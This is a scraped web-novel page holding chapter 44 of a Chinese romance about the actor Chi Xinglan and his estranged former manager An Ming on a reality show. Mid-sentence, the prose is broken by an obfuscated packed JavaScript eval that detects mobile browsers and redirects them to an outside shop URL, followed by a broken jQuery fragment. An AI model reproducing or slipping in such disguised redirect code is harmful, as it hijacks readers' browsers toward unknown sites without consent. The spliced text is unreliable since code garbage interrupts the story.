文趣网 > 都市小说 > 老实人他不想爱了 > 44.第 44 章
    乌喜柔一愣,脑子一片空白。

    等等等等,站在面前问她小组能不能一起合作的是那个横扫演艺圈重量级奖项的池星澜池影帝吗!

    乌喜柔激动到直接失去了思考能力,摄影师放弃挣扎,把镜头挪到其他成员身上。

    纪中一直往后躲,而贺朝阳把目光落在了安鸣身上。

    同时,池星澜竟也注视着安鸣。

    说不出是演技还是真实的感情,那双幽黑的眸子像软成丝绸的水,温柔涓涓细流般滑出。

    摄影大哥:……

    他的眼睛已经和镜头一样加上了滤镜吗?

    所以最终boss是镜头外的经纪人吗!

    经纪人能够参与综艺内嘉宾的决定?!

    无奈,最终还是把镜头对准了安鸣。

    安鸣垂下眼睛,细软的发丝遮住了侧脸,身上的气息宁静又沉稳。

    他不敢眨一下眼睛,生怕闭眼睁眼的功夫,安鸣就会毫不犹豫地转身离开。

    他在等待。

    等待安鸣是否会看在镜头的份上,给他一点情面,给他一次被接受的机会。

    不过,节目播出前,他要下令让导演把这一段给剪掉,以防其他任何人有见缝插针的机会。

    安鸣抬起眼睛,终于看向了他,并笑脸盈盈,温和地向这边走来。

    池星澜的内心如波涛汹涌。

    安鸣靠近他伸出手,就像之前每次他上台那样,摸住了他的衣领轻轻地整理。

    安鸣顺势握住了池星澜衣领下的麦。

    池星澜猛地反应过来了什么。

    他看到安鸣的脸上是温和的笑容,凑近了说出来的话却并不那么柔和:“不要以为在镜头面前,你就可以装模作样。”

    池星澜僵住。

    “我只会更讨厌你。”

    说完,衣领也整理好了,安鸣头也不回地想走,池星澜却握住了他的手腕。

    池星澜握住自己的麦:“安鸣,不许走,不许去他们那里。”

    安鸣冷淡地抽回手,直接离开。

    池星澜想追,但意识到两台相机对准他,只能又咬咬牙重新挤出勉强的微笑。

    可恶!!就不能多看他一眼吗!

    可恶!

    —

    三篮子蘑菇对于三个人来说并不难,难的是区分有毒和无毒的种类。

    幸好路上偶遇一个当地的小孩儿,毫不留情地给他们挑出两篮子有毒蘑菇……

    三人只好重振旗鼓,又花了两小时时间采集同款无毒蘑菇,防止再次出现问题。

    其他组也陆陆续续回到民宿,池星澜组是最后一个回的,他们组最难,是要上山砍今晚做饭洗碗要用柴。

    回来的时候,除了池星澜之外,个个形如枯槁,完全没了出发时的意气风发。

    总摄影啧啧称赞:“池星澜这小子,看着一点不累,柴确实他砍得最多,不亏是每晚再晚都要回去练两个小时的人。安老师,你说他肚子上是不有八块腹肌?”

    被突然点名的安鸣没抬眼,也没顺着他的话走。

    总摄影也不尴尬,自己打哈哈:“我还以为安老师您肯定知道呢,毕竟您之前是池星澜经纪人嘛,够亲密。”

    总摄影是池星澜老朋友,安鸣之前的身份他也知道。

    安鸣平静地洗菜:“怪不得你们是朋友。”

    总摄影:“嗯?”

    安鸣终于抬头,看着他慢慢说道:“因为你和他一样让人讨厌。”

    总摄影:“……”

    池星澜你没提醒过你老婆嘴这么毒啊。

    外面有工作人员喊“安老师”,安鸣把洗干净的蘑菇放进菜篮子,才走出去,全程不管总摄影再怎么和他搭话。

    安鸣被喊去帮忙搬灶台,今天因为艺人们一起动手做饭,因而需要临时搭建两个露天灶台。

    安鸣负责搬木板,民宿的木板比人还高,也重,从墙上挪下来的时候,他突然感觉到头上传来细微的响声。

    “安老师!”

    一片浓重的阴影迅速朝着安鸣压下去,他抱住头保护自己的霎时,一只手从他身后绕到前边抱住了他。

    想象中的沉重没有袭击他,他抬起头,只看见了池星澜紧绷的下颌线。

    十几公斤重的木板被池星澜用右手硬生生抗住。

    人群静默了一瞬。

    安鸣愣住了。

    池星澜低下头喊:“发什么呆!有事没有!”

    他迅速上下扫视安鸣确认没受伤,扭头一头大汗喊:“你们发什么呆!赶紧过来搬走!”

    人群才像是突然炸开,一窝蜂过来,手忙脚乱把比人高重的木板给挪下来,之后赶紧确认池星澜伤势。

    池星澜烦躁地用左手推开他们,用手指着安鸣:“别管我,去检查他!”

    他的话没人敢不听,一半急救人员赶紧跑去检查安鸣的身体。

    安鸣却摇摇手,示意自己没事,惊魂未定地看着池星澜的右手,脸被吓得苍白。

    池星澜感觉到自己被安鸣紧张,心里头高兴得不行,但又不忍心安鸣难受,故意骄傲地仰起头:“一点也不疼,你别担心!”

    听到这么说,安鸣又确认了一下池星澜的右手,紫肿了一大片,他转身就走。

    池星澜见弄巧成拙,急了:“哎呦哎呦,我疼得慌,某些人走了我更疼了。”

    安鸣定住,回头看他一眼,没搭理他,走了。

    池星澜登时顿胸捶足,痛恨自己干嘛要装作没事,明明疼得冷汗都冒出来了!

    结果不到一分钟,他就看到安鸣又回来,赶紧坐躺椅上左手搭住额头:“好晕啊……”

    边呻吟边半睁只眼睛偷看安鸣的动作。

    安鸣毫不留情揭穿他:“没记错的话,肿的是你的右手。”

    池星澜:“……”

    “脑袋突然疼了不行吗!”

    那么冷漠干什么!

    安鸣沉默半晌,把手里的药箱塞他怀里:“既然这样,那看来你的右手也没事,你自己上药。”

    池星澜赶紧一个起身:“你干嘛去?”

    安鸣斜眼看他:“出去帮忙,他们还没做好饭。”

    池星澜很生气:“他们的饭还比我重要吗!”

    安鸣:“嗯。”

    池星澜:“……可是我一个人上不了药。”

    安鸣突然轻笑了一声。

    池星澜顿感不妙。

    果不其然,他就听到安鸣说:“我右手断掉的时候,还能给你倒水买饭的,怎么到了你这里,就自己动不了了?”

    池星澜的脸色变得苍白,嘴唇翁动片刻,才挤出一点声音:“你那个时候是不是……很难受?”

    安鸣笑了:“我不难受。”

    “我只是断了一只手臂而已,不难受。”

    池星澜:“……”

    —

    节目组本来想让池星澜先下山就医,但池星澜不愿意,坚持要录,上药固定了手臂后再次酷吃酷吃爬上山,看得贺朝阳都唏嘘万分。

    贺朝阳悄悄对安鸣说:“他不会爬着爬着给自己的左手臂也摔断吧。”

    贺朝阳求的愿没灵过一次,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762608|208570||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    但说的缺德事儿倒是一说一个准,没过几天,池星澜的左手手掌心被一根带着尖刺的树枝划伤,被包了两三圈。

    迫不得已,池星澜只能留在民宿里休息,导演组让留一个工作人员照顾他,不然他一个人呆着无聊。

    池星澜立刻点名要人:“我要安鸣留下来。”

    还能让他歇会儿,不然整天跟着一起上山,累。

    安鸣也在旁边听着:“我不负责照顾他,我需要跟进我艺人的动态。”

    池星澜没了嚣张的气焰,反而露出难过的表情,演得跟真的似的。

    未了也不再要求,自个儿转身去灶房里端早餐去。

    用没被包扎到的腕部去夹那碗,但力不够而且偏了,碗于是就砸在灶台边,发出“哐——”地一声响。

    池星澜就蹲下去,伤手可怜兮兮地挑着抹布想擦干净。

    身残志坚。

    安鸣想到了这个词。

    最后,还是留了下来。

    今天的天气阳光明媚,但也冷,风呼呼地吹得露出来的脸疼。

    只有一个屋里有炕,池星澜就暂时在那屋里头休息。

    安鸣给池星澜盛好粥进屋,却没看到人在。

    他也不找,只把粥放在炕上,以免粥冷掉。

    过了一会儿,池星澜回来了,看到炕上的粥,眼睛一亮:“你还是在乎我的,还记得我喜欢喝白粥。”

    安鸣:“陈叔说是外边鸡吃了剩下的,问你要不要,我才给你要了一碗。”

    池星澜气结:“我不要了!”

    安鸣吓唬他:“你不要就中午没饭吃,饿死你。”

    池星澜“你你你”了半天没憋出一个字,气鼓鼓地坐下吃了,活像个生闷气的臭脾气小孩。

    吃到一半,池星澜突然说:“幸好你没事。”

    安鸣翻书的手顿了一下,没接话。

    他知道池星澜说的是什么,但他觉得,和池星澜一起回忆那段经历,是一件并不美好的事情。

    过了一会儿,池星澜又说:“那个时候,我不是故意使唤你的。”

    “我就是特别害怕,一直想确认你的手还……”他垂下头,“可是我太着急了,所以做法很糟糕。”

    安鸣翻了下书页,并不打算接受他的解释:“我不需要这些解释。”

    说得难听点,就是无论解释不解释,他都不在乎背后的原因是什么。

    安鸣抬眸,那双浅褐色的眼睛里,情绪很平淡。

    没有释怀,没有感动,也没有愤怒。

    大概是因为,面前的人不重要到无法勾起他的任何情绪。

    安鸣笑了:“所以,你说这些是为了什么?”

    “为了给你自己一个说法,以安抚你突如其来的愧疚?”

    池星澜“噌”地站起来:“不、不是这样的!我我、我只是……”

    他咽了一下,自己都很没底气,嗫嚅道:“不想你离开我……”

    安鸣:“理由?”

    因为你的存在早已刻在了我的血肉里,如果你离开,那就是把我的心也连根拔起。

    但是这话太让人觉得尴尬,和池星澜从小接受的价值观不一样,他说不出口。

    安鸣替他回答:“你是想说,等我离开后,你才发现爱上了我?”

    池星澜不说话。

    他想肯定的。

    “可是,你连‘关心’和‘尊重’两个字都做不到,怎么有资格说爱一个人呢?”

    终于,遮盖在两人关系之间那块粗黑的,沉重的布被掀开,露出底下赤裸裸的血丝和心脏。